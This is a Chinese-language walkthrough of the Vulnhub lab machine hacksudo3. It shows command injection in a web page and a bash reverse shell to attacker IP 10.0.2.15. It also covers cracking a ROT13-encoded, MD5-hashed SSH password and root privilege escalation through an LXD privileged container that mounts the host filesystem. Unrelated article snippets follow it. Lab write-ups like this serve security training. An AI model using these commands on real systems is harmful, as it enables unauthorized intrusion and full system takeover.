Vulnhub靶机:hacksudo3

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:hacksudo3(10.0.2.45)

目标:获取靶机root权限和flag

靶机下载地址:https://www.vulnhub.com/entry/hacksudo-3,671/

二、信息收集

使用nmap主机发现靶机ip:10.0.2.45

在这里插入图片描述

使用nmap端口扫描发现,靶机开放端口:21、22、80

在这里插入图片描述

80端口:打开网站未发现可利用的功能点,源码也没有隐藏信息,页面存在一些密码信息

在这里插入图片描述

使用disearch进行目录爆破,发现info.php、login.php文件

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

但后续测试发现这两个页面没有可利用的漏洞。

可能是目录爆破不够全面,使用dirbuster再次进行爆破,发现页面:

/info.php
/login.php
/create/index.html
/hidden/index.html
/generator.php
/decrypt/index.html
/bruteforce/index.html

在这里插入图片描述

在测试/generator.php页面发现该页面存在命令注入漏洞

在这里插入图片描述

输入反引号和命令,可以执行命令

`id`

在这里插入图片描述

三、漏洞利用

使用命令注入反弹shell

`bash -i >& /dev/tcp/10.0.2.15/4444 0>&1`    失败
`bash -c 'bash -i >& /dev/tcp/10.0.2.15/4444 0>&1'`  成功

在这里插入图片描述

获取交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

四、提权

查找靶机是否存在特权命令或是否存在具有root权限的可利用的文件

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

发现/usr/libexec/polkit-agent-helper-1文件,该版本的polkit存在提权漏洞CVE-2021-4034,靶机没有gcc环境我们可以上传编译好的exp进行提权。

这次我们不用这个方法

翻一翻靶机各个文件夹,发现在/var/www/目录下存在hacksudo文件,文件里面保存着一些疑似字符串被打乱的数据

unpxfhqb ybpxre FFU hfreanzr:unpxfhqb cnffjbeq:63p9142792q571q0s7p28ro30626q6s38792n2r7679o76q784231676q62447so80ns8953745s709p6622qqn2po4q754p262q0q31o3030n08s7o524079n6o336o

在这里插入图片描述

可以使用凯撒密码解密,当偏移量为13时解密得到:

hacksudo locker SSH username:hacksudo password:63c9142792d571d0f7c28eb30626d6f38792a2e7679b76d784231676d62447fb80af8953745f709c6622dda2cb4d754c262d0d31b3030a08f7b524079a6b336b

在这里插入图片描述

使用在线md5解密网站解密密码字段:vishal

在这里插入图片描述

切换为hacksudo用户

在这里插入图片描述

发现用户账号是LXD组的组成员,可以尝试lxd提权

which lxd
which lxc

在这里插入图片描述

攻击机操作:

通过git将构建好的alpine镜像克隆至本地;

git clone https://github.com/saghul/lxd-alpine-builder.git

执行“build -alpine”命令完成最新版本的Alpine镜像构建,此操作必须由root用户完成;

cd lxd-alpine-builder   
sudo ./build-alpine

在这里插入图片描述

将tar文件发送至目标设备

service apache2 start  

靶机操作:

下载攻击机上的alpine-v3.19-x86_64-20240203_0945.tar.gz

wget http://10.0.2.15/alpine-v3.19-x86_64-20240203_0945.tar.gz

在这里插入图片描述

镜像构建完成之后,我们就可以将其以镜像的形式添加进LXD了,注意需要从受害者机器上的用户的主目录执行此操作,否则可能会失败:

lxc image import alpine-v3.19-x86_64-20240203_0945.tar.gz --alias test

使用“list”命令即可检查可用的容器列表:

lxc image list

在这里插入图片描述

初始化镜像

lxd init  #一路回车
lxc init test test -c security.privileged=true

在这里插入图片描述

挂载磁盘

lxc config device add test test disk source=/ path=/mnt/root recursive=true

在这里插入图片描述

启动镜像并进入镜像访问任意文件

lxc start test
lxc exec test /bin/sh
id

在这里插入图片描述

进入容器之后,定位到/mnt/root即可查看目标主机设备的所有资源。运行了Bash脚本之后,我们将得到一个特殊的Shell,也就是容器的Shell。这个容器中包含了目标主机的全部资源。

在这里插入图片描述

获取flag

在这里插入图片描述
在这里插入图片描述

参考链接:https://blog.csdn.net/Perpetual_Blue/article/details/124645714
https://blog.csdn.net/YouthBelief/article/details/123548739

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/450733.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux下新建用户

新建用户 sudo adduser -m username添加密码 sudo passwd username设置权限 sudo vi /etc/sudoers在user privilege这一行,仿照root,另起一行,添加上 设置命令解释器 sudo vi /etc/passwd找到新建用户名,将sh改为bash vi中…

嵌入式学习 Day18

Linux软件编程: 1.Linux: 操作系统的内核 1.管理CPU 2.管理内存 3.管理硬件设备 4.管理文件系统 5.任务调度 2.Shell: 1.保护Linux内核(用户和Linux内核不直接操作,通过操作Shell,Shell和内核交互) 2.命令解释器 3…

第五讲:函数与类库

第五讲:函数与类库 第五讲:函数与类库函数定义实参变量的作用域返回值代码复用 类创建和使用类继承导入类 模块与库概念标准库第三方库 第五讲:函数与类库 函数 定义 函数就是代码块,只不过我们给这个代码块特地进行命名&#…

C++棋类小游戏2

今天给大家带来我花了1周时间自创的小游戏的升级版,博主还是一名小学生,希望大家提提意见。这是我写的最长的C代码,希望大家喜欢,不要抄袭,任何编译器都可以。 以前版本——C自创棋类小游戏-CSDN博客 C内容提示&…

高考志愿填报模拟系统的功能和技术总结

一、金秋志愿高考志愿填报系统主要功能: 用户注册与登录:允许学生和家长注册账号,使用注册的账号登录系统。 个人信息管理:允许用户查看、修改个人信息,如姓名、性别、联系方式等。 高考成绩输入:学生输…

【安装指南】maven下载、安装与配置详细教程

🌼一、概述 maven功能与python的pip类似。 Apache Maven是一个用于软件项目管理和构建的强大工具。它是基于项目对象模型的,用于描述项目的构建配置和依赖关系。以下是一些关键的 Maven 特性和概念: POM(Project Object Model&…

探索前端开发框架:React、Angular 和 Vue 的对决(一)

🤍 前端开发工程师、技术日更博主、已过CET6 🍨 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 🕠 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 🍚 蓝桥云课签约作者、上架课程《Vue.js 和 E…

爬取58二手房并用SVR模型拟合

目录 一、前言 二、爬虫与数据处理 三、模型 一、前言 爬取数据仅用于练习和学习。本文运用二手房规格sepc(如3室2厅1卫)和二手房面积area预测二手房价格price,只是练习和学习,不代表如何实际意义。 二、爬虫与数据处理 import requests import cha…

[office] 在Excel2010中设定某些单元格数据不参与排序的方法介绍 #其他#知识分享#笔记

在Excel2010中设定某些单元格数据不参与排序的方法介绍 在Excel中排序,相信大家都会了,直接将一组数据按照从小到大或者从大到小进行排序,但是,现在要求我们规定其中几组数据不进行排序,只排序其余的部分。又该如何操作…

批量检测微信小程序是否封禁接口源码

<?php // 要检测的 appid 列表 $appids array(appid1, appid2, appid3); // 使用实际的 appid // 循环调用接口检测小程序状态 foreach ($appids as $appid) { $url https://yan.changxunwangluo.cn/xcx/check_mini_program.php?appid . urlencode($appid); $…

TOP100 链表(三)

7.2. 两数相加 给你两个 非空 的链表&#xff0c;表示两个非负的整数。它们每位数字都是按照 逆序 的方式存储的&#xff0c;并且每个节点只能存储 一位 数字。 请你将两个数相加&#xff0c;并以相同形式返回一个表示和的链表。 你可以假设除了数字 0 之外&#xff0c;这两…

代码随想录day17--二叉树的应用5

LeetCode654.最大二叉树 题目描述&#xff1a; 给定一个不重复的整数数组 nums 。 最大二叉树 可以用下面的算法从 nums 递归地构建: 创建一个根节点&#xff0c;其值为 nums 中的最大值。递归地在最大值 左边 的 子数组前缀上 构建左子树。递归地在最大值 右边 的 子数组后…